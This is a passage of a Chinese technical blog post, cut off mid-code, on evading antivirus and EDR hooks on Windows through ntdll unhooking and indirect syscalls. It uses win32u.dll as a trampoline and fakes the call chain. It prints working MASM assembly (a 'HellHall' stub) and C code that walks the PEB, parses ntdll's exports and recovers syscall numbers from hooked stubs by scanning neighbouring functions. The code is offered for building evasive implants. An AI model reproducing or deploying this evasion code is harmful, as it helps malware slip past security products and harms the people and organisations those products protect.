bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">4.2 Syscall的缺点</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">劣势也是非常的明显，在不 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unhook r3</code> 层，你的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nt</code> 函数使用依旧是受到杀软监管的，当然让笔者认为最大的劣势还是在于调用链的不够完整。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这个所谓的调用链不够完整是什么意思，打个比方，我们在使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">VirtualAlloc</code> 函数的时候，它的调用链是从 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kernel32</code> 到 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kernelbase</code> 最后到 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ntdll</code>，最后使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAllocateVirtualMemory</code>，简而言之就是加载的底层函数是 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAllocateVirtualMemory</code>。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如果我们使用市面上大部分的间接调用技术我们的调用将会直接的跳过 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kernel32</code> 和 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kernelbase</code>，直接走到 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ntdll</code> 当中。这就会让杀软认为你的函数调用链存在差异，当然这种调用链的缺失并不是所有杀软的都会特别在意或者成为立即查杀你的原因，但为了能更长期的稳定运行，我们或许可以尝试伪造一个完整的调用链，接下来我们会实现 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unhook</code> 以及尝试构造一个伪链来帮我们处理 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code>。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">4.3 原理讲解</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">我们这里暂不深入讨论内存存根的问题，从 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">\KnwonDlls\</code> 目录 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unhook</code> 并不是绕过 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">r3 hook</code> 的新方法。但是我们会尝试避免在执行此操作时分配 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RWX</code> 内存。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">例如其中需要 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RWX</code> 权限来替换挂钩模块的文本部分，同时允许执行这些文本部分中的函数，我们将先暂停正在运行的线程，试图阻止从目标文本部分中调用任何函数，从而无需在 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unhook</code> 之前将它们设置为 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RWX</code> ，从而只需要 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RW</code> 权限。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">但是，这种方法产生了另一个问题；在 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unhook</code> <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtProtectVirtualMemory</code> 系统调用和其他系统调用使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ntdll</code> 模块内的系统调用指令作为间接系统调用方法，<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unhook</code> 的模块将被标记为 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RW</code> 权限，因此无法执行间接系统调用。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">因为我们要跳转到的系统调用指令现在无法执行，所以我们必须跳转到另一个可执行位置，那么我们可以尝试在 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">system32</code> 下面寻找一个可作为跳板的dll来实现这个，这里我们选择 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">win32u.dll</code>/<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">win32u.dll</code>存在一些最终同样使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nt</code>函数的基础函数，基础函数你可理解为类似于 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">VirtualAlloc</code> 这样的函数。当我们完成一些列的操作之后，我们将恢复暂停的线程，并实现我们的目的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">uhook</code> 加间接调用。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">4.4 利用代码细节</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">汇编代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;background: rgb(51, 51, 51);color: white;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">.data<br/>    dwSyscallNumber        DWORD   <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>h          ; the SSn <br/>    qSyscallInsAddress    QWORD   <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>h          ; the address of a <span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;syscall; ret;&#34;</span> instruction <br/>.code<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> SetConfig<br/>SetConfig proc    <br/>    mov dwSyscallNumber, ecx<br/>    mov qSyscallInsAddress, rdx            <br/>    ret<br/>SetConfig endp<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> HellHall<br/>HellHall proc<br/>    mov r10, rcx<br/>    mov eax, dwSyscallNumber                 <br/>    jmp qword ptr [qSyscallInsAddress]        <br/>    ret<br/>HellHall endp<br/>end<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">第一步，加载 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">shell32.dll</code>，<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SHGetFolderPathW</code> 会强制加载 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">win32u.dll</code>，无需我们直接加载：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;background: rgb(51, 51, 51);color: white;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">HRESULT <span style="font-size: inherit;line-height: inherit;color: rgb(255, 255, 170);overflow-wrap: inherit !important;word-break: inherit !important;">AddWin32uToIat</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span><br/></span>{<br/>    WCHAR szPath[MAX_PATH] = { <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> };<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> SHGetFolderPathW(<span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, CSIDL_MYVIDEO, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, szPath);<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">第二步，初始化我们的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 方法并通过 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">peb</code> 找到 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ntdll</code>，并检查是否被<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">hook</code>：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;background: rgb(51, 51, 51);color: white;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">BOOL <span style="font-size: inherit;line-height: inherit;color: rgb(255, 255, 170);overflow-wrap: inherit !important;word-break: inherit !important;">InitilizeNtdllConfig</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//  CHECK</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (NtdllSt.pdwArrayOfFunctions != <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span> &amp;&amp; NtdllSt.pdwArrayOfNames != <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span> &amp;&amp; NtdllSt.pwArrayOfOrdinals != <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> TRUE;<br/>    PPEB                    pPeb = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    PLDR_DATA_TABLE_ENTRY   pDte = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    PBYTE                   uNtdll = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    RtlSecureZeroMemory(&amp;NtdllSt, <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(NTDLL));<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//  PEB</span><br/>    pPeb = (PPEB)__readgsqword(<span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x60</span>);<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (pPeb == <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span> || pPeb-&gt;OSMajorVersion != <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xA</span>)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//  NTDLL</span><br/>    pDte = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb-&gt;LoaderData-&gt;InMemoryOrderModuleList.Flink-&gt;Flink - <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x10</span>);<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!pDte)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    NtdllSt.pNtdll = uNtdll = pDte-&gt;DllBase;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//  DOS</span><br/>    NtdllSt.pImgDos = (PIMAGE_DOS_HEADER)uNtdll;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (NtdllSt.pImgDos-&gt;e_magic != IMAGE_DOS_SIGNATURE)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//  NT</span><br/>    NtdllSt.pImgNtHdrs = (PIMAGE_NT_HEADERS)(uNtdll + NtdllSt.pImgDos-&gt;e_lfanew);<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (NtdllSt.pImgNtHdrs-&gt;Signature != IMAGE_NT_SIGNATURE)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//  EXPORT</span><br/>    NtdllSt.pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uNtdll + NtdllSt.pImgNtHdrs-&gt;OptionalHeader.DataDirectory[<span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>].VirtualAddress);<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!NtdllSt.pImgExpDir || !NtdllSt.pImgExpDir-&gt;Base)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//  ARRAYS</span><br/>    NtdllSt.pdwArrayOfFunctions = (PDWORD)(uNtdll + NtdllSt.pImgExpDir-&gt;AddressOfFunctions);<br/>    NtdllSt.pdwArrayOfNames        = (PDWORD)(uNtdll + NtdllSt.pImgExpDir-&gt;AddressOfNames);<br/>    NtdllSt.pwArrayOfOrdinals    = (PWORD)(uNtdll + NtdllSt.pImgExpDir-&gt;AddressOfNameOrdinals);<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//  CHECK</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!NtdllSt.pdwArrayOfFunctions || !NtdllSt.pdwArrayOfNames || !NtdllSt.pwArrayOfOrdinals)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> TRUE;<br/>}<br/><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">BOOL <span style="font-size: inherit;line-height: inherit;color: rgb(255, 255, 170);overflow-wrap: inherit !important;word-break: inherit !important;">InitilizeSysFunc</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(IN DWORD dwSysFuncHash, OUT PSYSCALL pSyscall)</span><br/></span>{<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!dwSysFuncHash || (!NtdllSt.pNtdll &amp;&amp; !InitilizeNtdllConfig()))<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (DWORD i = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; NtdllSt.pImgExpDir-&gt;NumberOfFunctions; i++) {<br/>        CHAR* cFuncName = (CHAR*)(NtdllSt.pdwArrayOfNames[i] + NtdllSt.pNtdll);<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (HASHb(cFuncName) == dwSysFuncHash)<br/>        {<br/>            pSyscall-&gt;dwSysFuncHash     = dwSysFuncHash;<br/>            pSyscall-&gt;pSyscallAddress   = (PVOID)(NtdllSt.pdwArrayOfFunctions[NtdllSt.pwArrayOfOrdinals[i]] + NtdllSt.pNtdll);<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (*((PBYTE)pSyscall-&gt;pSyscallAddress) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x4c</span><br/>                &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x8b</span><br/>                &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xd1</span><br/>                &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xb8</span><br/>                &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">6</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span><br/>                &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">7</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>) {<br/>                BYTE high = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">5</span>);<br/>                BYTE low = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>);<br/>                pSyscall-&gt;dwSyscallNumber = (high &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>) | low;<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/>            }<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//if hooked check the neighborhood to find clean syscall 1</span><br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (*((PBYTE)pSyscall-&gt;pSyscallAddress) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xe9</span>) {<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (WORD idx = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>; idx &lt;= <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">500</span>; idx++) {<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// check neighboring syscall down</span><br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (*((PBYTE)pSyscall-&gt;pSyscallAddress + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x4c</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x8b</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">2</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xd1</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">3</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xb8</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">6</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">7</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>) {<br/>                        BYTE high = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">5</span> + idx * DOWN);<br/>                        BYTE low = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">4</span> + idx * DOWN);<br/>                        pSyscall-&gt;dwSyscallNumber = (high &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>) | low - idx;<br/>                        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/>                    }<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// check neighboring syscall up</span><br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit 